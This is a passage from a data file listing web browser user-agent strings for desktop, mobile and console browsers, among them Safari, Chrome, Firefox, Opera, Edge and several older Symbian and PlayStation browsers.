Safari/537.36\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/605.1.15\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.1 Safari/605.1.15\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.2 Safari/605.1.15\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.1 Safari/605.1.15\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.2 Safari/605.1.15\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1) Gecko/20090624 Firefox/3.5\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.14) Gecko/20110218 AlexaToolbar/alxf-2.0 Firefox/3.6.14\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/528.16 (KHTML, like Gecko, Safari/528.16) OmniWeb/v622.8.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7;en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.302.2 Safari/532.8\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.464.0 Safari/534.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; de-de) AppleWebKit/534.15 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.15 Safari/534.13\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-us) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7; en-us) AppleWebKit/534.20.8 (KHTML, like Gecko) Version/5.1 Safari/534.20.8\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US) AppleWebKit/528.16 (KHTML, like Gecko, Safari/528.16) OmniWeb/v622.8.0.112941\nMozilla/5.0 (Macintosh; U; Mac OS X Mach-O; en-US; rv:2.0a) Gecko/20040614 Firefox/3.0.0\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8.0.1)\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.8)\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.1)\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.2 (KHTML, like Gecko)\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.2 (KHTML, like Gecko) Safari/85.8\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.8\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us)\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.15\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr)\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.5 (KHTML, like Gecko) Safari/312.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; tg)\nMozilla/5.0 (Macintosh; U; PPC; de-DE; rv:1.0.2)\nMozilla/5.0 (Maemo; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1\nMozilla/5.0 (Maemo; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1\nMozilla/5.0 (MeeGo; NokiaN9) AppleWebKit/534.13 (KHTML, like Gecko) NokiaBrowser/8.5.0 Mobile Safari/534.13\nMozilla/5.0 (MeeGo; NokiaN950-00/00) AppleWebKit/534.13 (KHTML, like Gecko) NokiaBrowser/8.5.0 Mobile Safari/534.13\nMozilla/5.0 (Nintendo 3DS; U; ; en) Version/1.7412.EU\nMozilla/5.0 (Nintendo WiiU) AppleWebKit/536.30 (KHTML, like Gecko) NX/3.0.4.2.12 NintendoBrowser/4.3.1.11264.US\nMozilla/5.0 (PLAYSTATION 3; 1.00)\nMozilla/5.0 (PLAYSTATION 3; 1.10)\nMozilla/5.0 (PLAYSTATION 3; 2.00)\nMozilla/5.0 (PLAYSTATION 3; 3.55)\nMozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko)\nMozilla/5.0 (PlayStation Vita 3.61) AppleWebKit/537.73 (KHTML, like Gecko) Silk/3.2\nMozilla/5.0 (Symbian/3; Series60/5.2 NokiaC6-01/011.010; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.7.2 3gpp-gba\nMozilla/5.0 (Symbian/3; Series60/5.2 NokiaC7-00/012.003; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.7.3 3gpp-gba\nMozilla/5.0 (Symbian/3; Series60/5.2 NokiaE6-00/021.002; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/533.4 (KHTML, like Gecko) NokiaBrowser/7.3.1.16 Mobile Safari/533.4 3gpp-gba\nMozilla/5.0 (Symbian/3; Series60/5.2 NokiaE7-00/010.016; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.7.3 3gpp-gba\nMozilla/5.0 (Symbian/3; Series60/5.2 NokiaN8-00/014.002; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.6.4 3gpp-gba\nMozilla/5.0 (Symbian/3; Series60/5.2 NokiaX7-00/021.004; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/533.4 (KHTML, like Gecko) NokiaBrowser/7.3.1.21 Mobile Safari/533.4 3gpp-gba\nMozilla/5.0 (SymbianOS 9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344\nMozilla/5.0 (SymbianOS/9.1; U; de) AppleWebKit/413 (KHTML, like Gecko) Safari/413\nMozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413\nMozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es50\nMozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es65\nMozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es70\nMozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 Nokia5700/3.27; Profile/MIDP-2.0 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML, like Gecko) Safari/413\nMozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 Nokia6120c/3.70; Profile/MIDP-2.0 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML, like Gecko) Safari/413\nMozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaE90-1/07.24.0.3; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413 UP.Link/6.2.3.18.0\nMozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95/10.0.018; Profile/MIDP-2.0 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML, like Gecko) Safari/413 UP.Link/6.3.0.0.0\nMozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413\nMozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344\nMozilla/5.0 (SymbianOS/9.4; U; Series60/5.0 SonyEricssonP100/01; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 Safari/525\nMozilla/5.0 (Unknown; U; UNIX BSD/SYSV system; C -) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.10.2\nMozilla/5.0 (webOS/1.3; U; en-US) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/1.0 Safari/525.27.1 Desktop/1.0\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36\nMozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0\nMozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1\nMozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0\nMozilla/5.0 (Windows NT 5.1; rv:52.0) Gecko/20100101 Firefox/52.0\nMozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.991\nMozilla/5.0 (Windows NT 5.2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1\nMozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1\nMozilla/5.0 (Windows NT 6.0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/18.6.872.0 Safari/535.2 UNTRUSTED/1.0 3gpp-gba UNTRUSTED/1.0\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36\nMozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36\nMozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1\nMozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/12.0\nMozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3\nMozilla/5.0 (Windows NT 6.1; rv:60.0) Gecko/20100101 Firefox/60.0\nMozilla/5.0 (Windows NT 6.1; rv:69.0) Gecko/20100101 Firefox/69.0\nMozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.52\nMozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OPR/52.0.2871.99\nMozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36\nMozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36 OPR/63.0.3368.107\nMozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36\nMozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36\nMozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.27 (KHTML, like Gecko) Chrome/12.0.712.0 Safari/534.27\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36 OPR/33.0.1990.115\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.991\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.1144\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b4pre) Gecko/20100815 Minefield/4.0b4pre\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110622 Firefox/6.0a2\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.1\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120427 Firefox/15.0a1\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko\nMozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7\nMozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3\nMozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6\nMozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36\nMozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36\nMozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36\nMozilla/5.0 (Windows NT 6.3; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0\nMozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0\nMozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.17763\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.170 Safari/537.36 OPR/53.0.2907.99\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 OPR/56.0.3051.52\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18362\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.87 Safari/537.36\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36 OPR/63.0.3368.107\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3835.0 Safari/537.36\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 OPR/78.0.4093.214\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 OPR/79.0.4143.50\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 OPR/79.0.4143.72\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 OPR/80.0.4170.63\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 OPR/82.0.4227.33\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 OPR/82.0.4227.43\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 OPR/82.0.4227.50\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36 OPR/83.0.4254.62\nMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0\nMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Waterfox/56.2.14\nMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0\nMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0\nMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0\nMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0\nMozilla/5.0 (Windows NT 10.0; Win64; x64; XBOX_ONE_ED) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393\nMozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 OPR/34.0.2036.25\nMozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 OPR/36.0.2130.32\nMozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/42.0.2393.94\nMozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.991\nMozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36\nMozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 YaBrowser/19.9.3.314 Yowser/2.5 Safari/537.36\nMozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko\nMozilla/5.0 (Windows Phone 10.0; Android 4.2.1; Microsoft; Lumia 950) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Mobile Safari/537.36 Edge/13.1058\nMozilla/5.0 (Windows Phone 10.0; Android 4.2.1; Microsoft; RM-1127_16056) AppleWebKit/537.36(KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.10536\nMozilla/5.0 (Windows Phone 10.0; Android 4.2.1; Xbox; Xbox One) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Mobile Safari/537.36 Edge/13.10586\nMozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; RM-1152) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Mobile Safari/537.36 Edge/15.15254\nMozilla/5.0 (Windows; U; ; en-NZ) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.8.0\nMozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)\nMozilla/5.0 (Windows; U; Win98; de-DE; rv:1.7.12)\nMozilla/5.0 (Windows; U; Win98; de; rv:1.8.0.1)\nMozilla/5.0 (Windows; U; Win98; en-US; rv:1.4) Gecko Netscape/7.1 (ax)\nMozilla/5.0 (Windows; U; Win 9x 4.90; de; rv:1.8.0.1)\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.5)\nMozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.12)\nMozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007\nMozilla/5.0 (Windows; U; Windows CE 5.1; rv:1.8.1a3) Gecko/20060610 Minimo/0.016\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:0.9.4.1) Gecko/20020508\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.6)\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.8)\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.10)\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.12)\nMozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.2)\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0,gzip(gfe) (via translate.google.com)\nMozilla/5.0 (Windows; U; Windows NT 5.0; zh-TW; rv:1.8.0.1)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.3)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.12)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.4) Gecko/20030619 Netscape/7.1 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.6) Gecko/20050321 Firefox/1.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.7)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.8)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.10)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5)\nMozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.6)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1)\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) 